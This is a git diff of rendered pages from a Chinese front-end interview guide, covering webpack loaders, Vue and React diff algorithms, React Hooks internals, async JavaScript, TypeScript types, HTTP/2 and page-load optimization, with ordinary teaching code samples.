- + \ No newline at end of file diff --git a/book3/engineer-webpack-loader.html b/book3/engineer-webpack-loader.html index bfc8de7..c242902 100644 --- a/book3/engineer-webpack-loader.html +++ b/book3/engineer-webpack-loader.html @@ -7,7 +7,7 @@ 谈下 webpack loader 的机制 | HZFE - 剑指前端 Offer - + @@ -34,7 +34,7 @@ return callback(null, code, map); } ); } const { code, map, metadata } = transpile(source, options); this.callback(null, code, map);};

babel-loader 通过 callback 传递了经过 babel.transform 转换后的代码及 source map。

3.3 style-loader 与 css-loader 分析#

style-loader 负责将样式插入到 DOM 中,使样式对页面生效。css-loader 主要负责处理 import、url 路径等外部引用。

style-loader 只有 pitch 函数。css-loader 是 normal module。整个执行流程是先执行 style-loader 阶段,style-loader 会创建形如 require(!!./hzfe.css) 的代码返回给 webpack。webpack 会再次调用 css-loader 处理样式,css-loader 会返回包含 runtime 的 js 模块给 webpack 去解析。style-loader 在上一步注入 require(!!./hzfe.css) 的同时,也注入了添加 style 标签的代码。这样,在运行时(浏览器中),style-loader 就可以把 css-loader 的样式插入到页面中。

常见的疑问就是为什么不按照 normal 模式组织 style-loader 和 css-loader。

首先 css-loader 返回的是形如这样的代码:

import ___CSS_LOADER_API_IMPORT___ from "../node_modules/_css-loader@5.1.3@css-loader/dist/runtime/api.js";var ___CSS_LOADER_EXPORT___ = ___CSS_LOADER_API_IMPORT___(function (i) {  return i[1];});// Module___CSS_LOADER_EXPORT___.push([  module.id,  ".hzfe{\r\n    height: 100px;\r\n}",  "",]);// Exportsexport default ___CSS_LOADER_EXPORT___;

style-loader 无法在编译时获取 CSS 相关的内容,因为 style-loader 无法处理 css-loader 生成结果的 runtime 依赖。style-loader 也无法在运行时获取 CSS 相关的内容,因为无论怎样拼接运行时代码,都无法获取到 CSS 的内容。

作为替代,style-loader 采用了 pitch 方案,style-loader 的核心功能如下所示:

style-loader
module.exports.pitch = function (request) {  var result = [    // 生成 require CSS 文件的语句,交给 css-loader 解析 得到包含 CSS 内容的 JS 模块    // 其中 !! 是为了避免 webpack 解析时递归调用 style-loader    `var content=require("${loaderUtils.stringifyRequest(this, `!!${request}`)}")`,    // 在运行时调用 addStyle 把 CSS 内容插入到 DOM 中    `require("${loaderUtils.stringifyRequest(this, `!${path.join(__dirname, "add-style.js")}`)}")(content)`    // 如果发现启用了 CSS modules,则默认导出它    "if(content.locals) module.exports = content.locals",  ];  return result.join(";");};
add-style.js
module.exports = function (content) {  var style = document.createElement("style");  style.innerHTML = content;  document.head.appendChild(style);};

在 pitch 阶段,style-loader 生成 require CSS 以及注入 runtime 的代码。该结果会返回给 webpack 进一步解析,css-loader 返回的结果会作为模块在运行时导入,在运行时能够获得 CSS 的内容,然后调用 add-style.js 把 CSS 内容插入到 DOM 中。

参考资料#

  1. writting a loader
  2. Loader Interface
  3. loader runner
Loading script...
- + \ No newline at end of file diff --git a/book3/frame-diff.html b/book3/frame-diff.html index a3d0081..30a0ed5 100644 --- a/book3/frame-diff.html +++ b/book3/frame-diff.html @@ -7,7 +7,7 @@ 常见框架的 Diff 算法 | HZFE - 剑指前端 Offer - + @@ -18,7 +18,7 @@ <!-- old --><ul> <li>HZFE</li> <li>Front-End</li></ul><!-- new --><ul> <li>Back-End</li> <li>HZFE</li> <li>Front-End</li></ul> <!-- good --><!-- 子列表项有稳定且在兄弟节点中唯一的 key 属性, --><!-- React 使用 key 从新老树中匹配对应节点比较,提高 Diff 效率。 --> <!-- old --><ul> <li key="2016">HZFE</li> <li key="2017">Front-End</li></ul><!-- new --><ul> <li key="2015">Back-End</li> <li key="2016">HZFE</li> <li key="2017">Front-End</li></ul>

2. Vue2.x Diff#

Vue 的 Diff 算法和 React 的类似,只在同一层次进行比较,不进行跨层比较。如果两个元素被判定为不相同,则不继续递归比较。在 Diff 子元素的过程中,采用双端比较的方法,设立 4 个指针:

  • oldStartIdx 指向旧子元素列表中,从左边开始 Diff 的元素索引。初始值:第一个元素的索引。
  • newStartIdx 指向新子元素列表中,从左边开始 Diff 的元素索引。初始值:第一个元素的索引。
  • oldEndIdx 指向旧子元素列表中,从右边开始 Diff 的元素索引。初始值:最后一个元素的索引。
  • newEndIdx 指向新子元素列表中,从右边开始 Diff 的元素索引。初始值:最后一个元素的索引。

image

Vue 同时遍历新老子元素虚拟 DOM 列表,并采用头尾比较。一般有 4 种情况:

  1. 当新老 start 指针指向的是相同节点

    复用节点并按需更新。

    新老 start 指针向右移动一位。

  2. 当新老 end 指针指向的是相同节点

    复用节点并按需更新。

    新老 end 指针向左移动一位。

  3. 当老 start 指针和新 end 指针指向的是相同节点

    复用节点并按需更新,将节点对应的真实 DOM 移动到子元素列表队尾。

    老 start 指针向右移动一位。

    新 end 指针向左移动一位。

  4. 当老 end 指针和新 start 指针指向的是相同节点

    复用节点并按需更新,将节点对应的真实 DOM 移动到子元素列表队头。

    老 end 指针向左移动一位。

    新 start 指针向右移动一位。

在不满足以上情况的前提下,会尝试检查新 start 指针指向的节点是否有唯一标识符 key,如果有且能在旧列表中找到拥有相同 key 的相同类型节点,则可复用并按需更新,且移动节点到新的位置。新 start 指针向右移动一位。如果依旧不满足条件,则新增相关节点。

当新老列表的中任意一个列表的头指针索引大于尾指针索引时,循环遍历结束,按需删除或新增相关节点即可。

参考资料#

Loading script...
- + \ No newline at end of file diff --git a/book3/frame-react-hooks.html b/book3/frame-react-hooks.html index 291bfeb..d2f176f 100644 --- a/book3/frame-react-hooks.html +++ b/book3/frame-react-hooks.html @@ -7,14 +7,14 @@ React Hooks 实现原理 | HZFE - 剑指前端 Offer - +

React Hooks 实现原理

相关问题#

  • React Hooks 是什么
  • React Hooks 是怎么实现的
  • 使用 React Hooks 需要注意什么

回答关键点#

闭包 Fiber 链表

Hooks 是 React 16.8 的新增特性。它可以让你在不编写 class 的情况下使用 state 以及其他的 React 特性。

Hooks 主要是利用闭包来保存状态,使用链表保存一系列 Hooks,将链表中的第一个 Hook 与 Fiber 关联。在 Fiber 树更新时,就能从 Hooks 中计算出最终输出的状态和执行相关的副作用。

使用 Hooks 的注意事项:

  • 不要在循环,条件或嵌套函数中调用 Hooks。
  • 只在 React 函数中调用 Hooks。

知识点深入#

1. 简化实现#

React Hooks 模拟实现

该示例是一个 React Hooks 接口的简化模拟实现,可以实际运行观察。其中 react.js 文件模拟实现了 useStateuseEffect 接口,其基本原理和 react 实际实现类似。

2. 对比分析#

2.1 状态 Hook#

模拟的 useState 实现中,通过闭包,将 state 保存在 memoizedState[cursor]。 memoizedState 是一个数组,可以按顺序保存 hook 多次调用产生的状态。

let memoizedState = [];let cursor = 0;function useState(initialValue) {  // 初次调用时,传入的初始值作为 state,后续使用闭包中保存的 state  let state = memoizedState[cursor] ?? initialValue;  // 对游标进行闭包缓存,使得 setState 调用时,操作正确的对应状态  const _cursor = cursor;  const setState = (newValue) => (memoizedState[_cursor] = newValue);  // 游标自增,为接下来调用的 hook 使用时,引用 memoizedState 中的新位置  cursor += 1;  return [state, setState];}

实际的 useState 实现经过多方面的综合考虑,React 最终选择将 Hooks 设计为顺序结构,这也是 Hooks 不能条件调用的原因。

function mountState<S>(  initialState: (() => S) | S): [S, Dispatch<BasicStateAction<S>>] {  // 创建 Hook,并将当前 Hook 添加到 Hooks 链表中  const hook = mountWorkInProgressHook();  // 如果初始值是函数,则调用函数取得初始值  if (typeof initialState === "function") {    initialState = initialState();  }  hook.memoizedState = hook.baseState = initialState;  // 创建一个链表来存放更新对象  const queue = (hook.queue = {    pending: null,    dispatch: null,    lastRenderedReducer: basicStateReducer,    lastRenderedState: initialState,  });  // dispatch 用于修改状态,并将此次更新添加到更新对象链表中  const dispatch: Dispatch<BasicStateAction<S>> = (queue.dispatch =    (dispatchAction.bind(null, currentlyRenderingFiber, queue): any));  return [hook.memoizedState, dispatch];}

2.1 副作用 Hook#

模拟的 useEffect 实现,同样利用了 memoizedState 闭包来存储依赖数组。依赖数组进行浅比较,默认的比较算法是 Object.is

function useEffect(cb, depArray) {  const oldDeps = memoizedState[cursor];  let hasChange = true;  if (oldDeps) {    // 对比传入的依赖数组与闭包中保存的旧依赖数组,采用浅比较算法    hasChange = depArray.some((dep, i) => !Object.is(dep, oldDeps[i]));  }  if (hasChange) cb();  memoizedState[cursor] = depArray;  cursor++;}

实际的 useEffect 实现:

function mountEffect(  create: () => (() => void) | void,  deps: Array<mixed> | void | null): void {  return mountEffectImpl(    UpdateEffect | PassiveEffect, // fiberFlags    HookPassive, // hookFlags    create,    deps  );}function mountEffectImpl(fiberFlags, hookFlags, create, deps): void {  // 创建hook  const hook = mountWorkInProgressHook();  const nextDeps = deps === undefined ? null : deps;  // 设置 workInProgress 的副作用标记  currentlyRenderingFiber.flags |= fiberFlags; // fiberFlags 被标记到 workInProgress  // 创建 Effect, 挂载到 hook.memoizedState 上  hook.memoizedState = pushEffect(    HookHasEffect | hookFlags, // hookFlags 用于创建 effect    create,    undefined,    nextDeps  );}

3. Hooks 如何与 Fiber 共同工作#

在了解如何工作之前,先看看 Hook 与 Fiber 的部分结构定义:

export type Hook = {  memoizedState: any, // 最新的状态值  baseState: any, // 初始状态值  baseQueue: Update<any, any> | null,  queue: UpdateQueue<any, any> | null, // 环形链表,存储的是该 hook 多次调用产生的更新对象  next: Hook | null, // next 指针,之下链表中的下一个 Hook};
export type Fiber = {  updateQueue: mixed, // 存储 Fiber 节点相关的副作用链表  memoizedState: any, // 存储 Fiber 节点相关的状态值
   flags: Flags, // 标识当前 Fiber 节点是否有副作用};

与上节中的模拟实现不同,真实的 Hooks 是一个单链表的结构,React 按 Hooks 的执行顺序依次将 Hook 节点添加到链表中。下面以 useState 和 useEffect 两个最常用的 hook 为例,来分析 Hooks 如何与 Fiber 共同工作。

在每个状态 Hook(如 useState)节点中,会通过 queue 属性上的循环链表记住所有的更新操作,并在 updade 阶段依次执行循环链表中的所有更新操作,最终拿到最新的 state 返回。

状态 Hooks 组成的链表的具体结构如下图所示:

State Hook

在每个副作用 Hook(如 useEffect)节点中,创建 effect 挂载到 Hook 的 memoizedState 中,并添加到环形链表的末尾,该链表会保存到 Fiber 节点的 updateQueue 中,在 commit 阶段执行。

副作用 Hooks 组成的链表的具体结构如下图所示:

Effect Hook

参考资料#

  1. Why Do React Hooks Rely on Call Order?
  2. React hooks: not magic, just arrays
Loading script...
- + \ No newline at end of file diff --git a/book3/js-async.html b/book3/js-async.html index 6372f38..3337101 100644 --- a/book3/js-async.html +++ b/book3/js-async.html @@ -7,7 +7,7 @@ JavaScript 异步编程 | HZFE - 剑指前端 Offer - + @@ -20,7 +20,7 @@ hello.next();// { value: 'hzfe', done: false } hello.next();// { value: 'ending', done: true } hello.next();// { value: undefined, done: true }

生成器 Generator 并不像普通函数那样总是运行到结束,可以在运行当中通过 yield 来暂停并完全保持其状态,再通过 next 恢复运行。yield/next 不只是控制机制,也是一种双向消息传递机制。yield 表达式本质上是暂停下来等待某个值,next 调用会向被暂停的 yield 表达式传回一个值(或者是隐式的 undefined)。

生成器 Generator 保持了顺序、同步、阻塞的代码模式,同样解决了异步回调的问题。

6. async/await#

async/await 属于 ECMAScript 2017 JavaScript 版的一部分,使异步代码更易于编写和阅读。通过使用它们,异步代码看起来更像是同步代码。具有如下特点:

  1. async/await 不能用于普通的回调函数。
  2. async/await 与 Promise 一样,是非阻塞的。
  3. async/await 使得异步代码看起来像同步代码。

async/await 也存在问题:await 关键字会阻塞其后的代码,直到 Promise 完成,就像执行同步操作一样。它可以允许其他任务在此期间继续运行,但自己的代码会被阻塞。解决方案是将 Promise 对象存储在变量中来同时开始,然后等待它们全部执行完毕。具体参照 fast async await。如果内部的 await 等待的异步任务之间没有依赖关系,且需要获取这些异步操作的结果,可以使用 Promise.allSettled() 同时执行这些任务并获得结果。

7. Web Worker#

Web Worker 为 JavaScript 创造了多线程环境,允许主线程创建 Worker 线程,将一些任务分配给 Worker 线程运行,处理完后可以通过 postMessage 将结果传递给主线程。优点在于可以在一个单独的线程中执行费时的处理任务,从而允许主线程中的任务(通常是 UI)运行不被阻塞/放慢。

使用 Web Worker 时有以下三点需要注意的地方:

  1. 在 Worker 内部无法访问主线程的任何资源,包括全局变量,页面的 DOM 或者其他资源,因为这是一个完全独立的线程。
  2. Worker 和主线程间的数据传递通过消息机制进行。使用 postMessage 方法发送消息;使用 onmessage 事件处理函数来响应消息。
  3. Worker 可以创建新的 Worker,新的 Worker 和父页面同源。Worker 在使用 XMLHttpRequest 进行网络 I/O 时,XMLHttpRequest 的 responseXML 和 channel 属性会返回 null。

Web Worker 主要应用场景:

  1. 处理密集型数学计算
  2. 大数据集排序
  3. 数据处理(压缩,音频分析,图像处理等)
  4. 高流量网络通信

参考资料#

  1. 异步 JavaScript
  2. 使用 Web Worker
Loading script...
- + \ No newline at end of file diff --git a/book3/js-ts-interface-type.html b/book3/js-ts-interface-type.html index 1e0fded..e96ea41 100644 --- a/book3/js-ts-interface-type.html +++ b/book3/js-ts-interface-type.html @@ -7,7 +7,7 @@ TypeScript 中的 Interface 和 Type Alias | HZFE - 剑指前端 Offer - + @@ -21,7 +21,7 @@ // 元组type HZFEMember = [number, string];

2.2 声明合并#

Interface 可以重复定义,并将合并所有声明的属性为单个接口。而 Type 不可重复定义。

// Interfaceinterface IHzfe {  name: string;}interface IHzfe {  member: number;}
 const hzfe: IHzfe = { name: "HZFE", member: 17 };

2.3 动态属性#

Type 可以使用 in 关键字动态生成属性,而 Interface 的索引值必须是 string 或 number 类型,所以 Interface 并不支持动态生成属性。

type HZFELanguage = "JavaScript" | "Go";type HZFEProjects = {  [key in HZFELanguage]?: string[];};
 const hzfeProjects: HZFEProjects = {  JavaScript: ["xx", "xx"],};

参考资料#

  1. TypScript - Typed JavaScript at Any Scale
Loading script...
- + \ No newline at end of file diff --git a/book3/network-http-1-2.html b/book3/network-http-1-2.html index fa829df..e5191c1 100644 --- a/book3/network-http-1-2.html +++ b/book3/network-http-1-2.html @@ -7,13 +7,13 @@ HTTP/2 和 HTTP/1.1 的对比 | HZFE - 剑指前端 Offer - +

HTTP/2 和 HTTP/1.1 的对比

相关问题#

  • 了解 HTTP/2 吗
  • HTTP/1.0、HTTP/1.1 和 HTTP/2 的区别

回答关键点#

队头阻塞 持久连接 二进制分帧层 多路复用 服务端推送

HTTP/1.1 相较 HTTP/1.0 的改进和优化:

  • 持久连接
  • HTTP 管道化
  • 分块编码传输
  • 新增 Host 头处理
  • 更多缓存处理
  • 新增更多状态码
  • 断点续传、并行下载

HTTP/1.1 的缺点:

  • 队头阻塞(Head-of-line blocking)
  • 头部冗余
  • TCP 连接数限制

HTTP/2 的优点:

  • 二进制分帧层
  • 多路复用
  • Header 压缩
  • 服务端推送

知识点深入#

1. HTTP/1.1#

1.1 相较 HTTP/1.0 的改进和优化#

HTTP/1.1 相比于 HTTP/1.0 的改进和优化主要包含:持久连接、HTTP 管道化请求、分块编码传输、新增 host 头字段、缓存支持、更多状态码等。

持久连接

在 HTTP/1.0 时期,每进行一次 HTTP 通信,都需要经过 TCP 三次握手建立连接。若一个页面引用了多个资源文件,就会极大地增加服务器负担,拉长请求时间,降低用户体验。

HTTP/1.1 中增加了持久连接,可以在一次 TCP 连接中发送和接收多个 HTTP 请求/响应。只要浏览器和服务器没有明确断开连接,那么该 TCP 连接会一直保持下去。

持久连接在 HTTP/1.1 中默认开启(请求头中带有 Connection: keep-alive),若不需要开启持久连接,可以在请求头中加上 Connection: close。

HTTP 管道化

HTTP 管道化是指将多个 HTTP 请求同时发送给服务器的技术,但是响应必须按照请求发出的顺序依次返回。

但是由于 HTTP 管道化仍存在诸多问题:

  1. 第一个响应慢仍会阻塞后续响应
  2. 服务器为了保证能按序返回需要缓存提前完成的响应而占用更多资源
  3. 需要客户端 、代理和服务器都支持管道化

所以目前大部分主流浏览器默认关闭 HTTP 管线化功能。

分块编码传输

在 HTTP/1.1 协议里,允许在响应头中指定 Transfer-Encoding: chunked 标识当前为分块编码传输,可以将内容实体分装成一个个块进行传输。

新增 Host 头处理

在 HTTP/1.0 中认为每台服务器都绑定一个唯一的 IP 地址,因此一台服务器也无法搭建多个 Web 站点。

在 HTTP/1.1 中新增了 host 字段,可以指定请求将要发送到的服务器主机名和端口号。

断点续传、并行下载

在 HTTP/1.1 中,新增了请求头字段 Range 和响应头字段 Content-Range。

前者是用来告知服务器应该返回文件的哪一部分,后者则是用来表示返回的数据片段在整个文件中的位置,可以借助这两个字段实现断点续传和并行下载。

1.2 HTTP/1.1 的缺点#

队头阻塞

虽然在 HTTP1.1 中增加了持久连接,能在一次 TCP 连接中发送和接收多个 HTTP 请求/响应,但是在一个管道中同一时刻只能处理一个请求,所以如果上一个请求未完成,后续的请求都会被阻塞。

头部冗余

HTTP 请求每次都会带上请求头,若此时 cookie 也携带大量数据时,就会使得请求头部变得臃肿。

TCP 连接数限制

浏览器对于同一个域名,只允许同时存在若干个 TCP 连接(根据浏览器内核有所差异),若超过浏览器最大连接数限制,后续请求就会被阻塞。

2. HTTP/2#

2.1 HTTP/2 的优点#

二进制分帧层

在 HTTP/1.x 中传输数据使用的是纯文本形式的报文,需要不断地读入字节直到遇到分隔符为止。而 HTTP/2 则是采用二进制编码,将请求和响应数据分割为一个或多个的体积小的帧。

多路复用

HTTP/2 允许在单个 TCP 连接上并行地处理多个请求和响应,真正解决了 HTTP/1.1 的线头阻塞和 TCP 连接数限制问题。

Header 压缩

使用 HPACK 算法来压缩头部内容,包体积缩小,在网络上传输变快。

服务端推送

允许服务端主动向浏览器推送额外的资源,不再是完全被动地响应请求。例如客户端请求 HTML 文件时,服务端可以同时将 JS 和 CSS 文件发送给客户端。

参考资料#

  1. HPACK: Header Compression for HTTP/2
Loading script...
- + \ No newline at end of file diff --git a/book3/topic-white-screen-optimization.html b/book3/topic-white-screen-optimization.html index 9aaaabb..dfbd447 100644 --- a/book3/topic-white-screen-optimization.html +++ b/book3/topic-white-screen-optimization.html @@ -7,13 +7,13 @@ 如何减少白屏的时间 | HZFE - 剑指前端 Offer - +

如何减少白屏的时间

回答关键点#

资源优化 预加载 服务端渲染 性能监控指标 HTTP/2

前端性能优化是前端开发中一个重要环节,它包括很多内容,其中页面的白屏时间是用户最初接触到的部分,白屏时间过长会显著影响用户的留存率和转换率。

我们以一个 APP 内嵌 Webview 打开页面作为例子,来分析页面打开过程以及可优化的方向:

  1. 前置条件
    • 性能监控指标
  2. APP 内点击打开页面
  3. DNS 解析
    • 预解析
    • 域名收敛
  4. TCP 连接
    • 预连接
  5. 发送并响应请求
    • HTTP/2
  6. 浏览器解析页面
    • 服务端渲染
  7. 加载资源并渲染页面
    • 骨架屏
    • 资源优化
    • 资源预加载
  8. 请求接口,获取数据并渲染
    • 接口预加载
    • 接口合并

知识点深入#

1. 前端性能监控指标#

性能优化的前置条件是性能有测量标准并可以被监控。常用的性能监控指标有以下几块。

Navigation Timing API:

  • responseStart - fetchStart:收到首字节的耗时
  • domContentLoadedEventEnd - fetchStart:HTML 加载完成耗时
  • loadEventStart - fetchStart:页面完全加载耗时
  • domainLookupEnd - domainLookupStart:DNS 解析耗时
  • connectEnd - connectStart:TCP 连接耗时
  • responseStart - requestStart:Time to First Byte(TTFB)
  • responseEnd - responseStart:数据传输耗时
  • domInteractive - responseEnd:DOM 解析耗时
  • loadEventStart - domContentLoadedEventEnd:资源加载耗时(页面中同步加载的资源)

Lighthouse Performance:

  • FP(First Paint):首次绘制
  • FCP(First Contentful Paint):首次内容绘制
  • FMP(First Meaningful Paint):首次有效绘制
  • LCP(Largest Contentful Paint):最大可见元素绘制
  • TTI(Time to Interactive):可交互时间
  • TTFB(Time to First Byte):浏览器接收第一个字节的时间

除了上面之外,UC 内核也有一套性能监控指标:

  • T0:Blink 收到 HTTP Head 的时间。
  • T1:首屏有内容显示的时间。
  • T2:首屏全部显示出来的时间。

2. DNS 解析优化#

DNS 解析优化是性能优化重要的一环,DNS 的作用是根据域名获取对应的 IP 地址,获取之后后续的 HTTP 流程才能进行下去。

DNS 解析是一个开销较大的过程,一次 DNS 解析通常需要耗费几十到上百毫秒,而在移动端网络或其他弱网环境下 DNS 解析延迟会更加严重,对 DNS 解析优化则可以减少这一步骤的耗时。

2.1 DNS 预解析#

我们可以通过 DNS 预解析的方式提前获取 IP 地址,以缩短后续请求的响应时间。

前端可以通过 dns-prefetch 预解析,具体方式如下:

<link rel="dns-prefetch" href="https://hzfe.org/" />

2.2 域名收敛#

域名收敛的目的是减少页面中域名的数量,从而减少所需的 DNS 解析次数,最终减少页面的 DNS 解析过程的耗时,加快页面加载速度。

3. TCP 连接优化#

前端可以通过 preconnect 在请求发送前预先执行一些操作,这些操作包括 DNS 解析,TCP 握手 和 TLS 协商。具体方式如下:

<link href="https://hzfe.org" rel="preconnect" />

4. 请求优化#

通过使用 HTTP/2 协议,可以依赖 HTTP/2 的多路复用、首部压缩、二进制分帧和服务端推送等特性,从而加快整体请求的响应速度,加快页面的渲染展示。

5. 页面解析优化#

浏览器获取 HTML 文件后,需要对 HTML 解析,然后才能开始渲染页面,这个过程中页面也是处于白屏状态。通过对这一过程进行优化可以加快页面的渲染展示。

5.1 服务端渲染(Server-Side Rendering)#

目前流行的前后端分离的开发模式,由于前端需要等待 JS 文件和接口加载完成之后才能渲染页面,导致白屏时间变长。服务端渲染是指在服务端将页面的渲染逻辑处理好,然后将处理好的 HTML 直接返回给前端展示。这样即可减少页面白屏的时间。

5.2 预渲染#

除了服务端渲染之外,还可以在前端打包时使用 prerender-spa-plugin 之类的插件进行简单的预渲染,减少页面白屏的时间。

6. 资源加载优化和页面渲染优化#

浏览器解析 HTML 的同时会加载相关的资源,通过对资源的加载过程进行优化也可以减少页面的白屏时间。

6.1 骨架屏#

骨架屏是在需要等待加载内容的位置提供一些图形组合占位,提前给用户描述页面的基础结构,等待数据加载完成之后,再替换成实际的内容。

骨架屏可以在数据加载前,提前渲染页面,缩短白屏时间,提升用户体验。

6.2 静态资源优化#

静态资源的优化主要分为两个方向:减小资源大小,加快资源加载速度。

减小资源大小

  • Gzip 压缩文件
  • JS 文件拆分,动态加载

加快资源加载速度

  • CDN(Content Delivery Network)
  • HTTP/2

6.3 资源预加载#

prefetch

前端可以使用 prefetch 来指定提前获取之后需要使用到的资源,浏览器将会在空闲的时候加载资源,例如:

<link rel="prefetch" href="https://hzfe.org/index.js" as="script" />

preload

前端可以使用 preload 来指定提前获取之后需要使用到的资源,浏览器将会立即加载对应资源,在解析到对应资源时即可立即执行,例如:

<link rel="preload" href="https://hzfe.org/index.js" as="script" />

quicklink

quicklink 是 Google 开源的预加载库,quicklink 会判断链接进入视口之后,在闲时预加载。quicklink 实际上加速的是次级页面。

7. 接口请求优化#

浏览器在加载完 HTML 和资源之后,一般需要请求接口获取数据之后才会完整渲染页面,对接口请求进行优化也可加快页面的展示。

接口合并

过多的接口请求会影响页面初始化时的渲染过程,可以通过增加一层中间层合并部分请求,达到加速页面展示的目的。

扩展阅读#

1. Native 相关优化#

WebView 容器预加载

内嵌在 APP 内的网页白屏时间实际还依赖 APP 的 WebView 初始化时间,所以通过对 APP 的 WebView 容器进行优化也可以减少页面的白屏时间,例如预热 WebView,即在 APP 打开之后的某一时间点,预先加载一个或多个 WebView 容器,在用户点击打开网页时直接使用预热好的 WebView。

DNS 优化

APP 可以在打开之后预解析网页所需的一些域名,在打开网页时即可直接使用 DNS 缓存。

资源预加载

APP 可以将网页中所需的资源预加载到本地,在网页请求资源时直接拦截并返回本地文件,即可加快网页加载速度,减少白屏时间。

接口预加载

APP 可以通过配置文件获取网页需要提前发起请求的接口,在用户进入页面时同步发起请求,即可在页面载入完成之后直接使用,减少白屏时间。

参考资料#

  1. Navigation Timeing API
Loading script...
- + \ No newline at end of file diff --git a/guide.html b/guide.html index d5160a2..7349337 100644 --- a/guide.html +++ b/guide.html @@ -7,13 +7,13 @@ HZFE - 剑指前端 Offer - + - + \ No newline at end of file diff --git a/index.html b/index.html index 8864f9a..e58aa8e 100644 --- a/index.html +++ b/index.html @@ -7,13 +7,13 @@ 前言 | HZFE - 剑指前端 Offer - +

前言

写作背景#

在我们团队中,每年都会有部分人需要更换新的工作环境,因此我们的聊天话题总是阶段性的变成面试题探讨。随着这几年我们对前端面试方面的经验积累和总结,我们一致认为前端面试的复习是有关键路径的。基于我们内部需要,也曾迭代过几个面试题库版本。

从面试角度分析,面试最典型的特点是时间有限。这意味着面试官和候选人需要在有限时间内,做出最大程度的有效沟通。

面试官如何有效且全面的了解候选人,是另外一门学问。而候选人的挑战在于面对问题时,如何在一两分钟内作出有效回答。有效回答是指:用两三句话对问题作出概括性回答,并引导面试官对回答中提到的关键词进一步深入提问。

不少同行的心态是:如果面试问得难,那便是面试造航母,工作拧螺丝;如果面试问得简单,那便是东西我会用,但我不会说,没发挥好。由于各种原因,失去了更多的选择。本书希望能够帮助大家尽可能解决这方面的问题,让前端开发者在面试复习阶段事半功倍,以更好的状态进行面试。

基于以上写作背景,我们可以达成两个共识:

  1. 面试时间总是有限的

    围绕一道普通技术题目的时长一般在 1-3 分钟,一轮技术面试的时长一般控制在 30-60 分钟,面试题目通常涉及不同知识面。

  2. 问题的回答一般是自顶向下的

    以一个概括性较强的回答进行反馈,面试官获得反馈后,通常会基于候选人回答中提到的关键点或面试官认为的其他关键点展开进一步提问。

面试痛点#

image

上面这张结构图,我们梳理了从准备面试到最终获得 Offer 的大致过程。较多人的复习方法主要来源于系统地复习所有知识点,或者有目的性的查找面经并复习对应的知识点。在时间充分的情况下,系统复习在复习阶段初期会有一定成效。但是仅停留在这一步,也许并不是最好的选择。

我们可以从以下角度剖析面试复习阶段的关注点:

  1. 复习什么

    候选人通常会系统地查看知识点总结,而市面上大部分的知识点总结,提纲排列顺序为由易到难,通常从基本数据类型章节开始讲解,内容比较冗长。系统复习有一定的必要性,但是在主流面试中一般有明确面试范围和考察频率。因此复习阶段应该有意识的复习高频内容。

  2. 怎么复习

    学习知识点时通常尽可能查看具有权威性的文档、规范、源码等,进行从零到一的较全面的理解,耗时较长;而复习时更多的需要有侧重点,应当进行提炼和总结。候选人通常基于知识点去查找相关技术文章,希望从其他开发者的技术文章中获取“精华”,从而省去自己从零学习或是提炼总结的成本。

    然而市面上充斥着良莠不齐的技术文章,也需要候选人在查找资料时“货比三家”,辩证对待文章内容。即便看到较好的文章,学会知识和面试中将知识进行输出也并非同一个概念。

    因为这些文章通常较为详细,以教程的方式娓娓道来,而面试时考察候选人对知识点的理解和运用,需要候选人在有限时间内言简意赅的回答问题。有的候选人编程能力不弱,但口头表达能力和总结能力欠缺。因此复习阶段拥有一份非教程向,而是面试向的参考读物变得重要起来。

基于一些常见的面试案例,我们总结出以下面试通病:

  • 面试表达能力弱:“那些东西我会用,但面试的时候讲不好。”
  • 复习摸不清重点:“大厂面试感觉很难,要复习的东西有很多,也不知道会不会问到。”
  • 学习效率低:“各种面经我都有看,自己大致归类了题目出现频率,但答案还要再查一下。”
  • 学习兴趣低:“有的问题我有自己查资料,讲得很详细,也很难,啃一篇要花很多时间。”

在有限时间内,无法对高频知识点进行吸收和总结,只能不断地在面试环节中试错,机会成本和时间成本极高。

写作理念#

image

为降低前端候选人面试的准备和试错成本,我们撰写了这本专为前端面试场景服务的书,意在成为候选人的技术高频题指南。本书主要整理了高频面试题和对应篇幅可控的答案。高频题是为了提高候选人复习效率,篇幅可控的答案则节省候选人的阅读时间:

  • 以高效方式组合高频题目

    技术面试时长一般控制在 30-60 分钟,围绕一道普通技术题目的时长一般在 1-3 分钟,会涉及不同知识面的细节。我们整理了 5 套面试题,共计 60 道不同的高频面试题。每套题包含固定类型题目(如基础题、工程化题、网络题、编码题、综合题等)。

    通过组合不同题型,模拟一场面试中的题型分布情况,我们每套题都可以更加接近真实技术面试的体验。因此可以帮助候选人积累经验、提高面试成功率。

  • 提炼面试回答要点

    面试回答和日常知识点学习有一定差别:日常知识点的学习需了解广度且深入细节,要求查阅各种文档、规范。面试回答则需要将所学知识浓缩为几句话。

    本书通过由浅入深的组织方式,以「相关问题」「回答关键点」「知识点深入」「参考资料」为内容基础大纲进行梳理。「回答关键点」作为高度概括的总结性语言,可用于第一时间回答面试官的问题;「知识点深入」以递进方式深入解析,可作为引导面试官进一步提问的方向。

    读者还可以模仿本书内容的编排方式,经过练习后,用更精炼的语言对其他问题作出有效回答。

总体而言,本书尽可能从候选人角度出发,使候选人快速获得面试常见技术问题的参考性回答,也提供给候选人一个相对精简的知识点深入总结。

读者通过对书中内容的学习,即便不能“一书在手,天下我有”,也能在面试中多一份从容和自信。同时本书也向前端从业人员传递一种学习方法和思路。毕竟每个人的学习方法不同,不可以机械照搬。对于如何在有限时间内,将复习效益最大化。读者可以尝试自行分析场景特点和自身痛点,找出属于自己的关键路径并制定复习计划。

适合人群#

  • 有意冲刺互联网大厂的前端开发者,可参考本书题目和答案提纲,自主深入学习,查漏补缺。
  • 短时间内参加面试的前端开发者,可借助本书快速了解面试高频的技术问题和相关解答。
  • 前端面试官可参考本书的题型和题目,按岗位需求对候选人进行有梯度的考察。

一千个人眼中有一千个哈姆雷特。而一个人眼中,在不同阶段也可以看到不一样的风景。

互动与勘误#

本书目前在 GitHub 中开源了第一版内容的部分题目,旨在接受广大开发者的检验和收集读者反馈后,能将本书打磨得更好。

阅读时您可能会发现内容上的错误,可以直接在相关章节末尾的评论区进行留言,留言内容会被自动同步到仓库 Issues 中。您也可以在仓库 Issues 中直接留下宝贵意见。欢迎读者对内容仓库进行 订阅/Watch 或加入群聊,我们会持续添加和订正内容。

添加机器人小冰后,回复关键词"剑指前端",获取入群链接。

Loading script...
